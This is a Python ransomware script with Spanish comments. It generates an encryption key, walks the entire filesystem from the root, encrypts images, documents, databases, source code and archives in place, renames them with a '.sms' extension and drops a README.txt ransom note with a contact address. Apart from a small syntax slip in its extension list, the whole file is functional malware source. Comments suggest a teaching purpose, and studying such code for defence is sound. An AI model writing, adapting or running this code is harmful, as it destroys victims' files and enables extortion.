import os
from os import name,path
from cryptography.fernet import Fernet


# Extensión para los archivos encriptados.
extension = 'sms'


# Función para generar la clave de cifrado y almacenada en un archivo en el directorio local.
def generar_key():
    key = Fernet.generate_key()
    with open('key.key', 'wb') as key_file:
        key_file.write(key)


# Función para obtener la clave de cifrado del archivo local.
def cargar_key():
    return open('key.key', 'rb').read()


# Función para encriptar los archivos y su renombramiento con la extensión personalizada.
def encrypt(item, key):
    f = Fernet(key)
    with open(item, 'rb') as file:
        file_data = file.read()

    encrypted_data = f.encrypt(file_data)

    with open(item, 'wb') as file:
        file.write(encrypted_data)

    os.rename(item, item + '.' + extension)


if __name__ == '__main__':

    try:
        excluir_carpeta = (#Windows system directory
                            'Program Files',
                            'Program Files (x86)',
                            'Windows',
                            '$Recycle.Bin',
                            'AppData',
                            'logs',
        )
        
        extensiones = (
        '.jpg', '.jpeg', '.bmp', '.gif', '.png', '.svg', '.psd', '.raw', # images
        '.mp3','.mp4', '.m4a', '.aac','.ogg','.flac', '.wav', '.wma', '.aiff', '.ape', # music and sound
        '.avi', '.flv', '.m4v', '.mkv', '.mov', '.mpg', '.mpeg', '.wmv', '.swf', '.3gp', # Video and movies

        '.doc', '.docx', '.xls', '.xlsx', '.ppt','.pptx', # Microsoft office
        '.odt', '.odp', '.ods', '.txt', '.rtf', '.tex', '.pdf', '.epub', '.md', '.txt', # OpenOffice, Adobe, Latex, Markdown, etc
        '.yml', '.yaml', '.json', '.xml', '.csv', # structured data
        '.db', '.sql', '.dbf', '.mdb', '.iso', # databases and disc images
        
        '.html', '.htm', '.xhtml', '.php', '.asp', '.aspx', '.js', '.jsp', '.css', # web technologies
        '.c', '.cpp', '.cxx', '.h', '.hpp', '.hxx', # C source code
        '.java', '.class', '.jar', # java source code
        '.ps', '.bat', '.vb', '.vbs' # windows based scripts
        '.awk', '.sh', '.cgi', '.pl', '.ada', '.swift', # linux/mac based scripts
        '.go', '.pyc', '.bf', '.coffee', # other source code files

        '.zip', '.tar', '.tgz', '.bz2', '.7z', '.rar', '.bak',  # compressed formats
        )

        # Generación la clave de cifrado y se almacena en una variable.
        generar_key()
        key = cargar_key()

        # Encriptación de los archivos listados.
        for root, dirs, files in os.walk("/"):
            if any(s in root for s in excluir_carpeta):
                pass
            else:
                for file in files:
                     if file.endswith(extensiones):
                        full_path = os.path.join(root, file)                    
                        try:
                            encrypt(full_path, key)
                            # Mensaje para pedir el rescate guardado en el equipo atacado, normalmente en el escritorio.
                            with open( root + '\\README.txt', 'w') as file:
                                file.write('Ficheros encriptados.\nSe suele pedir un rescate para el desencriptado. contacto@soportems.com')
                            
                        except:
                            pass
    except:
        pass